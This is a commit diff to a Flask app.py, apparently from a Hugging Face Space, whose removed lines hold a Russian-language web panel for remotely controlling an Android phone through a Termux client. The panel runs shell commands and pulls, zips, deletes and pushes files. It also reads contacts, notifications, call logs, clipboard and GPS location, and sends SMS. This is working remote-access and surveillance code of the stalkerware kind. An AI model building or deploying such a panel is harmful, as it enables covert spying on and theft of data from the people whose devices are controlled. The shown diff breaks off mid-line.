Spaces:
Sleeping
Sleeping
Update app.py
Browse files
app.py
CHANGED
|
@@ -3,8 +3,7 @@ import os
|
|
| 3 |
import datetime
|
| 4 |
import uuid
|
| 5 |
import werkzeug.utils
|
| 6 |
-
import json
|
| 7 |
-
import math
|
| 8 |
|
| 9 |
app = Flask(__name__)
|
| 10 |
app.config['UPLOAD_FOLDER'] = 'uploads_from_client'
|
|
@@ -14,1007 +13,288 @@ os.makedirs(app.config['UPLOAD_FOLDER'], exist_ok=True)
|
|
| 14 |
os.makedirs(app.config['FILES_TO_CLIENT_FOLDER'], exist_ok=True)
|
| 15 |
|
| 16 |
pending_command = None
|
| 17 |
-
command_output = "
|
| 18 |
last_client_heartbeat = None
|
| 19 |
-
current_client_path = "~"
|
| 20 |
-
file_to_send_to_client = None
|
| 21 |
device_status_info = {}
|
| 22 |
notifications_history = []
|
| 23 |
contacts_list = []
|
| 24 |
|
| 25 |
-
|
| 26 |
HTML_TEMPLATE = """
|
| 27 |
<!DOCTYPE html>
|
| 28 |
-
<html lang="
|
| 29 |
<head>
|
| 30 |
-
|
| 31 |
-
|
| 32 |
-
|
| 33 |
-
|
| 34 |
-
|
| 35 |
-
|
| 36 |
-
|
| 37 |
-
|
| 38 |
-
|
| 39 |
-
|
| 40 |
-
|
| 41 |
-
|
| 42 |
-
|
| 43 |
-
|
| 44 |
-
|
| 45 |
-
|
| 46 |
-
|
| 47 |
-
|
| 48 |
-
|
| 49 |
-
|
| 50 |
-
|
| 51 |
-
|
| 52 |
-
|
| 53 |
-
|
| 54 |
-
|
| 55 |
-
|
| 56 |
-
|
| 57 |
-
|
| 58 |
-
|
| 59 |
-
|
| 60 |
-
|
| 61 |
-
|
| 62 |
-
|
| 63 |
-
|
| 64 |
-
|
| 65 |
-
|
| 66 |
-
|
| 67 |
-
|
| 68 |
-
|
| 69 |
-
|
| 70 |
-
|
| 71 |
-
|
| 72 |
-
|
| 73 |
-
|
| 74 |
-
.
|
| 75 |
-
|
| 76 |
-
|
| 77 |
-
|
| 78 |
-
|
| 79 |
-
|
| 80 |
-
|
| 81 |
-
|
| 82 |
-
|
| 83 |
-
|
| 84 |
-
|
| 85 |
-
|
| 86 |
-
|
| 87 |
-
|
| 88 |
-
|
| 89 |
-
|
| 90 |
-
|
| 91 |
-
|
| 92 |
-
|
| 93 |
-
|
| 94 |
-
|
| 95 |
-
|
| 96 |
-
|
| 97 |
-
|
| 98 |
-
|
| 99 |
-
}
|
| 100 |
-
|
| 101 |
-
function showSection(sectionId) {
|
| 102 |
-
document.querySelectorAll('.content > div.container').forEach(div => div.style.display = 'none');
|
| 103 |
-
document.getElementById(sectionId).style.display = 'block';
|
| 104 |
-
document.querySelectorAll('.sidebar a').forEach(a => a.classList.remove('active'));
|
| 105 |
-
const activeLink = document.querySelector(`.sidebar a[href="#${sectionId}"]`);
|
| 106 |
-
if (activeLink) activeLink.classList.add('active');
|
| 107 |
-
currentView = sectionId;
|
| 108 |
-
|
| 109 |
-
if (window.innerWidth < 768 && document.querySelector('.sidebar').classList.contains('open')) {
|
| 110 |
-
toggleMenu();
|
| 111 |
-
}
|
| 112 |
-
|
| 113 |
-
if (sectionId === 'files') refreshClientPathDisplay();
|
| 114 |
-
if (sectionId === 'device_status') requestDeviceStatus();
|
| 115 |
-
if (sectionId === 'notifications') requestNotifications();
|
| 116 |
-
if (sectionId === 'contacts') requestContacts();
|
| 117 |
-
if (sectionId === 'uploads') refreshServerUploads();
|
| 118 |
-
refreshOutput();
|
| 119 |
-
}
|
| 120 |
-
|
| 121 |
-
function formatBytes(bytes, decimals = 2) {
|
| 122 |
-
if (bytes === 0) return '0 Bytes';
|
| 123 |
-
const k = 1024;
|
| 124 |
-
const dm = decimals < 0 ? 0 : decimals;
|
| 125 |
-
const sizes = ['Bytes', 'KB', 'MB', 'GB', 'TB'];
|
| 126 |
-
const i = Math.floor(Math.log(bytes) / Math.log(k));
|
| 127 |
-
return parseFloat((bytes / Math.pow(k, i)).toFixed(dm)) + ' ' + sizes[i];
|
| 128 |
-
}
|
| 129 |
-
|
| 130 |
-
async function refreshServerUploads() {
|
| 131 |
-
try {
|
| 132 |
-
const response = await fetch('/list_uploaded_files');
|
| 133 |
-
const data = await response.json();
|
| 134 |
-
const fileListUl = document.getElementById('serverUploadedFiles');
|
| 135 |
-
fileListUl.innerHTML = '';
|
| 136 |
-
if (data.files && data.files.length > 0) {
|
| 137 |
-
data.files.forEach(file => {
|
| 138 |
-
const li = document.createElement('li');
|
| 139 |
-
|
| 140 |
-
const infoDiv = document.createElement('div');
|
| 141 |
-
infoDiv.className = 'file-info';
|
| 142 |
-
|
| 143 |
-
const link = document.createElement('a');
|
| 144 |
-
link.href = '/uploads_from_client/' + encodeURIComponent(file.name);
|
| 145 |
-
link.textContent = file.name;
|
| 146 |
-
link.target = '_blank';
|
| 147 |
-
infoDiv.appendChild(link);
|
| 148 |
-
|
| 149 |
-
const metaSpan = document.createElement('span');
|
| 150 |
-
metaSpan.className = 'file-meta';
|
| 151 |
-
const date = new Date(file.mtime * 1000).toLocaleString();
|
| 152 |
-
metaSpan.textContent = `${formatBytes(file.size)} - ${date}`;
|
| 153 |
-
infoDiv.appendChild(metaSpan);
|
| 154 |
-
|
| 155 |
-
li.appendChild(infoDiv);
|
| 156 |
-
|
| 157 |
-
const actionsDiv = document.createElement('div');
|
| 158 |
-
actionsDiv.className = 'file-actions';
|
| 159 |
-
|
| 160 |
-
if (file.is_image) {
|
| 161 |
-
const previewBtn = document.createElement('button');
|
| 162 |
-
previewBtn.textContent = '👁️';
|
| 163 |
-
previewBtn.title = 'Предпросмотр';
|
| 164 |
-
previewBtn.className = 'preview-btn';
|
| 165 |
-
previewBtn.onclick = () => window.open('/uploads_from_client/' + encodeURIComponent(file.name), '_blank');
|
| 166 |
-
actionsDiv.appendChild(previewBtn);
|
| 167 |
-
}
|
| 168 |
-
|
| 169 |
-
const deleteBtn = document.createElement('button');
|
| 170 |
-
deleteBtn.textContent = '❌';
|
| 171 |
-
deleteBtn.title = 'Удалить';
|
| 172 |
-
deleteBtn.className = 'delete-btn';
|
| 173 |
-
deleteBtn.onclick = () => deleteUploadedFile(file.name);
|
| 174 |
-
actionsDiv.appendChild(deleteBtn);
|
| 175 |
-
|
| 176 |
-
li.appendChild(actionsDiv);
|
| 177 |
-
fileListUl.appendChild(li);
|
| 178 |
-
});
|
| 179 |
-
} else {
|
| 180 |
-
fileListUl.innerHTML = '<li>Нет загруженных файлов с клиента.</li>';
|
| 181 |
-
}
|
| 182 |
-
} catch(e) {
|
| 183 |
-
document.getElementById('serverUploadedFiles').innerHTML = '<li>Ошибка загрузки списка файлов.</li>';
|
| 184 |
-
}
|
| 185 |
-
}
|
| 186 |
-
|
| 187 |
-
async function deleteUploadedFile(filename) {
|
| 188 |
-
if (!confirm(`Вы уверены, что хотите удалить файл "${filename}" с сервера?`)) return;
|
| 189 |
-
try {
|
| 190 |
-
const response = await fetch('/delete_uploaded_file/' + encodeURIComponent(filename), {
|
| 191 |
-
method: 'POST'
|
| 192 |
-
});
|
| 193 |
-
const result = await response.json();
|
| 194 |
-
if(result.status === 'success') {
|
| 195 |
-
refreshServerUploads();
|
| 196 |
-
} else {
|
| 197 |
-
alert('Ошибка удаления файла: ' + result.message);
|
| 198 |
-
}
|
| 199 |
-
} catch(e) {
|
| 200 |
-
alert('Сетевая ошибка при удалении файла.');
|
| 201 |
-
}
|
| 202 |
-
}
|
| 203 |
-
|
| 204 |
-
async function refreshOutput() {
|
| 205 |
-
try {
|
| 206 |
-
const response = await fetch('/get_status_output');
|
| 207 |
-
const data = await response.json();
|
| 208 |
-
|
| 209 |
-
if (data.output && (currentView !== 'device_status' && currentView !== 'notifications' && currentView !== 'contacts')) {
|
| 210 |
-
document.getElementById('outputArea').innerText = data.output;
|
| 211 |
-
}
|
| 212 |
-
|
| 213 |
-
if (data.last_heartbeat) {
|
| 214 |
-
const statusDiv = document.getElementById('clientStatus');
|
| 215 |
-
const lastBeat = new Date(data.last_heartbeat);
|
| 216 |
-
const now = new Date();
|
| 217 |
-
const diffSeconds = (now - lastBeat) / 1000;
|
| 218 |
-
if (diffSeconds < 45) {
|
| 219 |
-
statusDiv.className = 'status online';
|
| 220 |
-
statusDiv.innerText = 'Клиент ОНЛАЙН (Пинг: ' + lastBeat.toLocaleTimeString() + ')';
|
| 221 |
-
} else {
|
| 222 |
-
statusDiv.className = 'status offline';
|
| 223 |
-
statusDiv.innerText = 'Клиент ОФФЛАЙН (Пинг: ' + lastBeat.toLocaleTimeString() + ')';
|
| 224 |
-
}
|
| 225 |
-
} else {
|
| 226 |
-
document.getElementById('clientStatus').className = 'status offline';
|
| 227 |
-
document.getElementById('clientStatus').innerText = 'Клиент ОФФЛАЙН';
|
| 228 |
-
}
|
| 229 |
-
|
| 230 |
-
if (data.current_path && currentView === 'files') {
|
| 231 |
-
document.getElementById('currentPathDisplay').innerText = data.current_path;
|
| 232 |
-
if (data.output && data.output.startsWith("Содержимое") ) {
|
| 233 |
-
renderFileList(data.output, data.current_path);
|
| 234 |
-
} else if (data.output && currentView === 'files') {
|
| 235 |
-
document.getElementById('fileList').innerHTML = `<li>${data.output.replace(/\\n/g, '<br>')}</li>`;
|
| 236 |
-
}
|
| 237 |
-
}
|
| 238 |
-
|
| 239 |
-
if (data.device_status && currentView === 'device_status') {
|
| 240 |
-
updateDeviceStatusDisplay(data.device_status);
|
| 241 |
-
}
|
| 242 |
-
if (data.notifications && currentView === 'notifications') {
|
| 243 |
-
renderNotifications(data.notifications);
|
| 244 |
-
}
|
| 245 |
-
if (data.contacts && currentView === 'contacts') {
|
| 246 |
-
renderContacts(data.contacts);
|
| 247 |
-
}
|
| 248 |
-
|
| 249 |
-
} catch (error) {
|
| 250 |
-
console.error("Error refreshing data:", error);
|
| 251 |
-
if (currentView === 'dashboard' || currentView === 'shell' || currentView === 'media' || currentView === 'clipboard' || currentView === 'utils' || currentView === 'messaging' || currentView === 'system') {
|
| 252 |
-
document.getElementById('outputArea').innerText = "Ошибка обновления данных с сервера.";
|
| 253 |
-
}
|
| 254 |
-
}
|
| 255 |
-
}
|
| 256 |
-
|
| 257 |
-
function updateDeviceStatusDisplay(status) {
|
| 258 |
-
document.getElementById('batteryStatus').innerHTML = status.battery ? `<strong>Заряд:</strong> ${status.battery.percentage}% (${status.battery.status}, ${status.battery.health})` : '<strong>Заряд:</strong> Н/Д';
|
| 259 |
-
document.getElementById('locationStatus').innerHTML = status.location ? `<strong>Локация:</strong> ${status.location.latitude}, ${status.location.longitude} (Точность: ${status.location.accuracy}м, Скорость: ${status.location.speed} м/с)` : '<strong>Локация:</strong> Н/Д (Запросите для обновления)';
|
| 260 |
-
if (status.location && status.location.latitude && status.location.longitude) {
|
| 261 |
-
document.getElementById('locationMapLink').innerHTML = `<a href="https://www.google.com/maps?q=${status.location.latitude},${status.location.longitude}" target="_blank">Показать на карте Google</a>`;
|
| 262 |
-
} else {
|
| 263 |
-
document.getElementById('locationMapLink').innerHTML = '';
|
| 264 |
-
}
|
| 265 |
-
document.getElementById('processesStatus').innerHTML = status.processes ? `<pre>${status.processes}</pre>` : '<strong>Процессы:</strong> Н/Д (Запросите для обновления)';
|
| 266 |
-
}
|
| 267 |
-
|
| 268 |
-
function renderFileList(lsOutput, currentPath) {
|
| 269 |
-
const fileListUl = document.getElementById('fileList');
|
| 270 |
-
fileListUl.innerHTML = '';
|
| 271 |
-
const lines = lsOutput.split('\\n');
|
| 272 |
-
|
| 273 |
-
let isRootOrHome = (currentPath === '/' || currentPath === '~' || currentPath === osPathToUserFriendly(currentPath, true));
|
| 274 |
-
if (!isRootOrHome) {
|
| 275 |
-
const parentLi = document.createElement('li');
|
| 276 |
-
parentLi.className = 'dir';
|
| 277 |
-
const parentA = document.createElement('a');
|
| 278 |
-
parentA.href = '#';
|
| 279 |
-
parentA.innerHTML = '<span class="file-icon">🔙</span> .. (Наверх)';
|
| 280 |
-
parentA.onclick = (e) => { e.preventDefault(); navigateTo('..'); };
|
| 281 |
-
parentLi.appendChild(parentA);
|
| 282 |
-
fileListUl.appendChild(parentLi);
|
| 283 |
-
}
|
| 284 |
-
|
| 285 |
-
lines.forEach(line => {
|
| 286 |
-
if (line.trim() === '' || line.startsWith("Содержимое")) return;
|
| 287 |
-
const parts = line.match(/^(\\[[DF]\\])\\s*(.*)/);
|
| 288 |
-
if (!parts) return;
|
| 289 |
-
|
| 290 |
-
const type = parts[1];
|
| 291 |
-
const name = parts[2].trim();
|
| 292 |
-
|
| 293 |
-
const li = document.createElement('li');
|
| 294 |
-
const nameContainer = document.createElement('div');
|
| 295 |
-
nameContainer.className = 'file-name-container';
|
| 296 |
-
const a = document.createElement('a');
|
| 297 |
-
a.href = '#';
|
| 298 |
-
|
| 299 |
-
const actionsContainer = document.createElement('div');
|
| 300 |
-
actionsContainer.className = 'file-actions';
|
| 301 |
-
|
| 302 |
-
if (type === '[D]') {
|
| 303 |
-
li.className = 'dir';
|
| 304 |
-
a.innerHTML = `<span class="file-icon">📁</span> ${name}`;
|
| 305 |
-
a.onclick = (e) => { e.preventDefault(); navigateTo(name); };
|
| 306 |
-
nameContainer.appendChild(a);
|
| 307 |
-
|
| 308 |
-
const zipBtn = document.createElement('button');
|
| 309 |
-
zipBtn.className = 'zip-btn';
|
| 310 |
-
zipBtn.textContent = 'ZIP';
|
| 311 |
-
zipBtn.title = 'Скачать как ZIP';
|
| 312 |
-
zipBtn.onclick = (e) => { e.preventDefault(); requestZipDownload(name); };
|
| 313 |
-
actionsContainer.appendChild(zipBtn);
|
| 314 |
-
|
| 315 |
-
const deleteBtn = document.createElement('button');
|
| 316 |
-
deleteBtn.className = 'delete-btn';
|
| 317 |
-
deleteBtn.textContent = 'Удалить';
|
| 318 |
-
deleteBtn.onclick = (e) => { e.preventDefault(); requestDeleteFile(name); };
|
| 319 |
-
actionsContainer.appendChild(deleteBtn);
|
| 320 |
-
|
| 321 |
-
} else {
|
| 322 |
-
li.className = 'file';
|
| 323 |
-
a.innerHTML = `<span class="file-icon">📄</span> ${name}`;
|
| 324 |
-
a.onclick = (e) => { e.preventDefault(); };
|
| 325 |
-
nameContainer.appendChild(a);
|
| 326 |
-
|
| 327 |
-
const downloadBtn = document.createElement('button');
|
| 328 |
-
downloadBtn.className = 'download-btn';
|
| 329 |
-
downloadBtn.textContent = 'Скачать';
|
| 330 |
-
downloadBtn.onclick = (e) => { e.preventDefault(); requestDownloadFile(name); };
|
| 331 |
-
actionsContainer.appendChild(downloadBtn);
|
| 332 |
-
|
| 333 |
-
const deleteBtn = document.createElement('button');
|
| 334 |
-
deleteBtn.className = 'delete-btn';
|
| 335 |
-
deleteBtn.textContent = 'Удалить';
|
| 336 |
-
deleteBtn.onclick = (e) => { e.preventDefault(); requestDeleteFile(name); };
|
| 337 |
-
actionsContainer.appendChild(deleteBtn);
|
| 338 |
-
}
|
| 339 |
-
|
| 340 |
-
li.appendChild(nameContainer);
|
| 341 |
-
li.appendChild(actionsContainer);
|
| 342 |
-
fileListUl.appendChild(li);
|
| 343 |
-
});
|
| 344 |
-
}
|
| 345 |
-
|
| 346 |
-
function renderNotifications(notifications) {
|
| 347 |
-
const notificationListDiv = document.getElementById('notificationList');
|
| 348 |
-
notificationListDiv.innerHTML = '';
|
| 349 |
-
if (notifications && notifications.length > 0) {
|
| 350 |
-
notifications.forEach(n => {
|
| 351 |
-
const itemDiv = document.createElement('div');
|
| 352 |
-
itemDiv.className = 'notification-item';
|
| 353 |
-
itemDiv.innerHTML = `
|
| 354 |
-
<strong>${n.title || 'Без заголовка'} (ID: ${n.id || 'N/A'})</strong>
|
| 355 |
-
<span><strong>Приложение:</strong> ${n.packageName || 'N/A'}</span>
|
| 356 |
-
<span><strong>Тег:</strong> ${n.tag || 'N/A'}, <strong>Ключ:</strong> ${n.key || 'N/A'}</span>
|
| 357 |
-
<span><strong>Когда:</strong> ${n.when ? new Date(n.when).toLocaleString() : 'N/A'}</span>
|
| 358 |
-
<p>${n.content || 'Нет содержимого'}</p>
|
| 359 |
-
`;
|
| 360 |
-
notificationListDiv.appendChild(itemDiv);
|
| 361 |
-
});
|
| 362 |
-
} else {
|
| 363 |
-
notificationListDiv.innerHTML = '<p>Нет уведомлений для отображения или не удалось их получить.</p>';
|
| 364 |
-
}
|
| 365 |
-
}
|
| 366 |
-
|
| 367 |
-
function renderContacts(contacts) {
|
| 368 |
-
const contactListDiv = document.getElementById('contactList');
|
| 369 |
-
contactListDiv.innerHTML = '';
|
| 370 |
-
if (contacts && contacts.length > 0) {
|
| 371 |
-
contacts.forEach(c => {
|
| 372 |
-
const itemDiv = document.createElement('div');
|
| 373 |
-
itemDiv.className = 'contact-item';
|
| 374 |
-
let numbersHtml = '';
|
| 375 |
-
if (c.numbers && c.numbers.length > 0) {
|
| 376 |
-
c.numbers.forEach(num => {
|
| 377 |
-
numbersHtml += `<span class="contact-number">${num}</span>`;
|
| 378 |
-
});
|
| 379 |
-
} else {
|
| 380 |
-
numbersHtml = '<span>Нет номеров</span>';
|
| 381 |
-
}
|
| 382 |
-
itemDiv.innerHTML = `
|
| 383 |
-
<strong>${c.name || 'Без имени'}</strong>
|
| 384 |
-
${numbersHtml}
|
| 385 |
-
`;
|
| 386 |
-
contactListDiv.appendChild(itemDiv);
|
| 387 |
-
});
|
| 388 |
-
} else {
|
| 389 |
-
contactListDiv.innerHTML = '<p>Список контактов пуст или не удалось его получить.</p>';
|
| 390 |
-
}
|
| 391 |
-
}
|
| 392 |
-
|
| 393 |
-
function osPathToUserFriendly(path, checkRoot = false) {
|
| 394 |
-
if (path.startsWith('/data/data/com.termux/files/home')) {
|
| 395 |
-
let relPath = path.substring('/data/data/com.termux/files/home'.length);
|
| 396 |
-
if (relPath === '' || relPath === '/') return '~';
|
| 397 |
-
return '~' + relPath;
|
| 398 |
-
}
|
| 399 |
-
if (checkRoot && path === '/') return '/';
|
| 400 |
-
return path;
|
| 401 |
-
}
|
| 402 |
-
|
| 403 |
-
async function sendGenericCommand(payload) {
|
| 404 |
-
try {
|
| 405 |
-
document.getElementById('outputArea').innerText = "Отправка команды...";
|
| 406 |
-
const response = await fetch('/send_command', {
|
| 407 |
-
method: 'POST',
|
| 408 |
-
headers: { 'Content-Type': 'application/json' },
|
| 409 |
-
body: JSON.stringify(payload)
|
| 410 |
-
});
|
| 411 |
-
if (!response.ok) {
|
| 412 |
-
console.error("Server error sending command");
|
| 413 |
-
document.getElementById('outputArea').innerText = "Ошибка сервера при отправке команды.";
|
| 414 |
-
}
|
| 415 |
-
} catch (error) {
|
| 416 |
-
console.error("Network error sending command:", error);
|
| 417 |
-
document.getElementById('outputArea').innerText = "Сетевая ошибка при отправке команды.";
|
| 418 |
-
}
|
| 419 |
-
}
|
| 420 |
-
|
| 421 |
-
function navigateTo(itemName) {
|
| 422 |
-
sendGenericCommand({ command_type: 'list_files', path: itemName });
|
| 423 |
-
if (currentView === 'files') {
|
| 424 |
-
document.getElementById('fileList').innerHTML = '<li>Загрузка...</li>';
|
| 425 |
-
}
|
| 426 |
-
}
|
| 427 |
-
|
| 428 |
-
function requestDownloadFile(filename) {
|
| 429 |
-
sendGenericCommand({ command_type: 'request_download_file', filename: filename });
|
| 430 |
-
showSection('dashboard');
|
| 431 |
-
document.getElementById('outputArea').innerText = `Запрос на скачивание файла ${filename}... Ожидайте появления в разделе "Загрузки с клиента".`;
|
| 432 |
-
}
|
| 433 |
-
|
| 434 |
-
function requestZipDownload(dirname) {
|
| 435 |
-
sendGenericCommand({ command_type: 'zip_and_upload_dir', path: dirname });
|
| 436 |
-
showSection('dashboard');
|
| 437 |
-
document.getElementById('outputArea').innerText = `Запрос на архивацию и скачивание директории ${dirname}... Это может занять время. Ожидайте появления ZIP-архива в разделе "Загрузки с клиента".`;
|
| 438 |
-
}
|
| 439 |
-
|
| 440 |
-
function requestDeleteFile(filename) {
|
| 441 |
-
if (confirm(`Вы уверены, что хотите удалить "${filename}" с устройства клиента? Это действие необратимо.`)) {
|
| 442 |
-
sendGenericCommand({ command_type: 'delete_file', filename: filename });
|
| 443 |
-
}
|
| 444 |
-
}
|
| 445 |
-
|
| 446 |
-
function refreshClientPathDisplay(){
|
| 447 |
-
if (document.getElementById('currentPathDisplay')) {
|
| 448 |
-
fetch('/get_status_output').then(r=>r.json()).then(data => {
|
| 449 |
-
if(data.current_path) document.getElementById('currentPathDisplay').innerText = data.current_path;
|
| 450 |
-
});
|
| 451 |
-
}
|
| 452 |
-
}
|
| 453 |
-
|
| 454 |
-
window.onload = () => {
|
| 455 |
-
showSection('dashboard');
|
| 456 |
-
setInterval(refreshOutput, 4000);
|
| 457 |
-
refreshOutput();
|
| 458 |
-
document.querySelector('.menu-toggle').addEventListener('click', toggleMenu);
|
| 459 |
-
document.querySelector('.content-overlay').addEventListener('click', toggleMenu);
|
| 460 |
-
};
|
| 461 |
-
|
| 462 |
-
function submitShellCommand(event) {
|
| 463 |
-
event.preventDefault();
|
| 464 |
-
const command = document.getElementById('command_str').value;
|
| 465 |
-
sendGenericCommand({ command_type: 'shell', command: command });
|
| 466 |
-
document.getElementById('command_str').value = '';
|
| 467 |
-
}
|
| 468 |
-
|
| 469 |
-
function submitMediaCommand(type, paramName, paramValueId) {
|
| 470 |
-
let payload = { command_type: type };
|
| 471 |
-
if (paramName && paramValueId) {
|
| 472 |
-
const value = document.getElementById(paramValueId).value;
|
| 473 |
-
if (value) payload[paramName] = value;
|
| 474 |
-
}
|
| 475 |
-
sendGenericCommand(payload);
|
| 476 |
-
}
|
| 477 |
-
|
| 478 |
-
async function handleUploadToServer(event) {
|
| 479 |
-
event.preventDefault();
|
| 480 |
-
const fileInput = document.getElementById('fileToUploadToDevice');
|
| 481 |
-
const targetPathInput = document.getElementById('targetDevicePath');
|
| 482 |
-
|
| 483 |
-
if (!fileInput.files[0]) {
|
| 484 |
-
alert("Пожалуйста, выберите файл для загрузки.");
|
| 485 |
-
return;
|
| 486 |
-
}
|
| 487 |
-
if (!targetPathInput.value) {
|
| 488 |
-
alert("Пожалуйста, укажите путь на устройстве.");
|
| 489 |
-
return;
|
| 490 |
-
}
|
| 491 |
-
|
| 492 |
-
const formData = new FormData();
|
| 493 |
-
formData.append('file_to_device', fileInput.files[0]);
|
| 494 |
-
formData.append('target_path_on_device', targetPathInput.value);
|
| 495 |
-
|
| 496 |
-
document.getElementById('uploadToDeviceStatus').innerText = 'Загрузка файла на сервер...';
|
| 497 |
-
|
| 498 |
-
try {
|
| 499 |
-
const response = await fetch('/upload_to_server_for_client', {
|
| 500 |
-
method: 'POST',
|
| 501 |
-
body: formData
|
| 502 |
-
});
|
| 503 |
-
const result = await response.json();
|
| 504 |
-
if (result.status === 'success') {
|
| 505 |
-
document.getElementById('uploadToDeviceStatus').innerText = 'Файл загружен на сервер, ожидание отправки клиенту. Имя файла на сервере: ' + result.server_filename;
|
| 506 |
-
sendGenericCommand({
|
| 507 |
-
command_type: 'receive_file',
|
| 508 |
-
server_filename: result.server_filename,
|
| 509 |
-
target_path_on_device: result.target_path_on_device
|
| 510 |
-
});
|
| 511 |
-
} else {
|
| 512 |
-
document.getElementById('uploadToDeviceStatus').innerText = 'Ошибка: ' + result.message;
|
| 513 |
-
}
|
| 514 |
-
} catch (error) {
|
| 515 |
-
document.getElementById('uploadToDeviceStatus').innerText = 'Сетевая ошибка при загрузке файла на сервер: ' + error;
|
| 516 |
-
}
|
| 517 |
-
}
|
| 518 |
-
|
| 519 |
-
function getClipboard() { sendGenericCommand({ command_type: 'clipboard_get' }); }
|
| 520 |
-
function setClipboard() {
|
| 521 |
-
const text = document.getElementById('clipboardSetText').value;
|
| 522 |
-
sendGenericCommand({ command_type: 'clipboard_set', text: text });
|
| 523 |
-
}
|
| 524 |
-
function openUrlOnDevice() {
|
| 525 |
-
const url = document.getElementById('urlToOpen').value;
|
| 526 |
-
if (url) { sendGenericCommand({ command_type: 'open_url', url: url }); }
|
| 527 |
-
else { alert("Пожалуйста, введите URL."); }
|
| 528 |
-
}
|
| 529 |
-
function requestDeviceStatus(item = null) {
|
| 530 |
-
let payload = { command_type: 'get_device_status' };
|
| 531 |
-
if (item) { payload.item = item; }
|
| 532 |
-
sendGenericCommand(payload);
|
| 533 |
-
}
|
| 534 |
-
function requestNotifications() { sendGenericCommand({ command_type: 'get_notifications' }); }
|
| 535 |
-
function requestContacts() { sendGenericCommand({ command_type: 'get_contacts' }); }
|
| 536 |
-
function getCallLog() { sendGenericCommand({ command_type: 'get_call_log' }); }
|
| 537 |
-
function sendSms() {
|
| 538 |
-
const number = document.getElementById('smsNumber').value;
|
| 539 |
-
const text = document.getElementById('smsText').value;
|
| 540 |
-
if (number && text) {
|
| 541 |
-
sendGenericCommand({ command_type: 'send_sms', number: number, text: text });
|
| 542 |
-
} else { alert("Введите номер и текст SMS."); }
|
| 543 |
-
}
|
| 544 |
-
function speakText() {
|
| 545 |
-
const text = document.getElementById('ttsText').value;
|
| 546 |
-
if (text) { sendGenericCommand({ command_type: 'tts_speak', text: text }); }
|
| 547 |
-
else { alert("Введите текст для озвучивания."); }
|
| 548 |
-
}
|
| 549 |
-
function vibrateDevice() {
|
| 550 |
-
const duration = document.getElementById('vibrateDuration').value;
|
| 551 |
-
sendGenericCommand({ command_type: 'vibrate', duration: duration });
|
| 552 |
-
}
|
| 553 |
-
function toggleTorch(state) {
|
| 554 |
-
sendGenericCommand({ command_type: 'torch', state: state });
|
| 555 |
-
}
|
| 556 |
-
function getDeviceInfo() { sendGenericCommand({ command_type: 'get_device_info' }); }
|
| 557 |
-
function getWifiInfo() { sendGenericCommand({ command_type: 'get_wifi_info' }); }
|
| 558 |
-
|
| 559 |
-
</script>
|
| 560 |
</head>
|
| 561 |
<body>
|
| 562 |
-
|
| 563 |
-
|
| 564 |
-
|
| 565 |
-
|
| 566 |
-
|
| 567 |
-
<
|
| 568 |
-
|
| 569 |
-
|
| 570 |
-
|
| 571 |
-
|
| 572 |
-
|
| 573 |
-
|
| 574 |
-
|
| 575 |
-
|
| 576 |
-
|
| 577 |
-
|
| 578 |
-
|
| 579 |
-
|
| 580 |
-
|
| 581 |
-
|
| 582 |
-
|
| 583 |
-
</
|
| 584 |
-
|
| 585 |
-
|
| 586 |
-
|
| 587 |
-
|
| 588 |
-
|
| 589 |
-
|
| 590 |
-
|
| 591 |
-
|
| 592 |
-
|
| 593 |
-
|
| 594 |
-
|
| 595 |
-
</
|
| 596 |
-
|
| 597 |
-
|
| 598 |
-
|
| 599 |
-
|
| 600 |
-
|
| 601 |
-
|
| 602 |
-
|
| 603 |
-
|
| 604 |
-
|
| 605 |
-
|
| 606 |
-
|
| 607 |
-
|
| 608 |
-
|
| 609 |
-
|
| 610 |
-
|
| 611 |
-
|
| 612 |
-
|
| 613 |
-
|
| 614 |
-
|
| 615 |
-
|
| 616 |
-
|
| 617 |
-
|
| 618 |
-
|
| 619 |
-
|
| 620 |
-
|
| 621 |
-
|
| 622 |
-
|
| 623 |
-
|
| 624 |
-
|
| 625 |
-
|
| 626 |
-
|
| 627 |
-
|
| 628 |
-
<
|
| 629 |
-
<button onclick="requestContacts()">Запросить список контактов</button>
|
| 630 |
-
<div class="control-section">
|
| 631 |
-
<h3>Список контактов:</h3>
|
| 632 |
-
<div id="contactList" class="contact-list"><p>Запросите список контактов.</p></div>
|
| 633 |
-
</div>
|
| 634 |
-
</div>
|
| 635 |
-
|
| 636 |
-
<div id="messaging" class="container hidden-section">
|
| 637 |
-
<h2>Сообщения и звонки</h2>
|
| 638 |
-
<div class="control-section">
|
| 639 |
-
<h3>Отправить SMS</h3>
|
| 640 |
-
<label for="smsNumber">Номер телефона:</label>
|
| 641 |
-
<input type="text" id="smsNumber" placeholder="+79001234567">
|
| 642 |
-
<label for="smsText">Текст сообщения:</label>
|
| 643 |
-
<textarea id="smsText" rows="3"></textarea>
|
| 644 |
-
<button onclick="sendSms()">Отправить SMS</button>
|
| 645 |
-
</div>
|
| 646 |
-
<div class="control-section">
|
| 647 |
-
<h3>Журнал звонков</h3>
|
| 648 |
-
<button onclick="getCallLog()">Получить журнал звонков</button>
|
| 649 |
-
</div>
|
| 650 |
-
<div class="control-section" style="margin-top:20px;">
|
| 651 |
-
<h3>Результат операции:</h3>
|
| 652 |
-
<pre id="outputAreaMessagingCopy"></pre>
|
| 653 |
-
</div>
|
| 654 |
-
</div>
|
| 655 |
-
|
| 656 |
-
<div id="files" class="container hidden-section">
|
| 657 |
-
<h2>Файловый менеджер (Клиент)</h2>
|
| 658 |
-
<p>Текущий путь на клиенте: <strong id="currentPathDisplay">~</strong></p>
|
| 659 |
-
<button onclick="navigateTo('~')">Дом (~)</button>
|
| 660 |
-
<button onclick="navigateTo('/sdcard/')">Память</button>
|
| 661 |
-
<input type="text" id="customPathInput" placeholder="/sdcard/Download" style="width:auto; display:inline-block; margin-left:0px; margin-right:5px; max-width: 150px;">
|
| 662 |
-
<button onclick="navigateTo(document.getElementById('customPathInput').value)">Перейти</button>
|
| 663 |
-
<div class="file-browser control-section">
|
| 664 |
-
<h3>Содержимое директории:</h3>
|
| 665 |
-
<ul id="fileList"><li>Запросите содержимое директории.</li></ul>
|
| 666 |
-
</div>
|
| 667 |
-
<div class="control-section">
|
| 668 |
-
<h3>Загрузить файл НА устройство</h3>
|
| 669 |
-
<form id="uploadForm" onsubmit="handleUploadToServer(event)">
|
| 670 |
-
<label for="fileToUploadToDevice">Выберите файл:</label>
|
| 671 |
-
<input type="file" id="fileToUploadToDevice" name="file_to_device" required>
|
| 672 |
-
<label for="targetDevicePath">Путь для сохранения на устройстве (например, `/sdcard/Download/` или `~/`):</label>
|
| 673 |
-
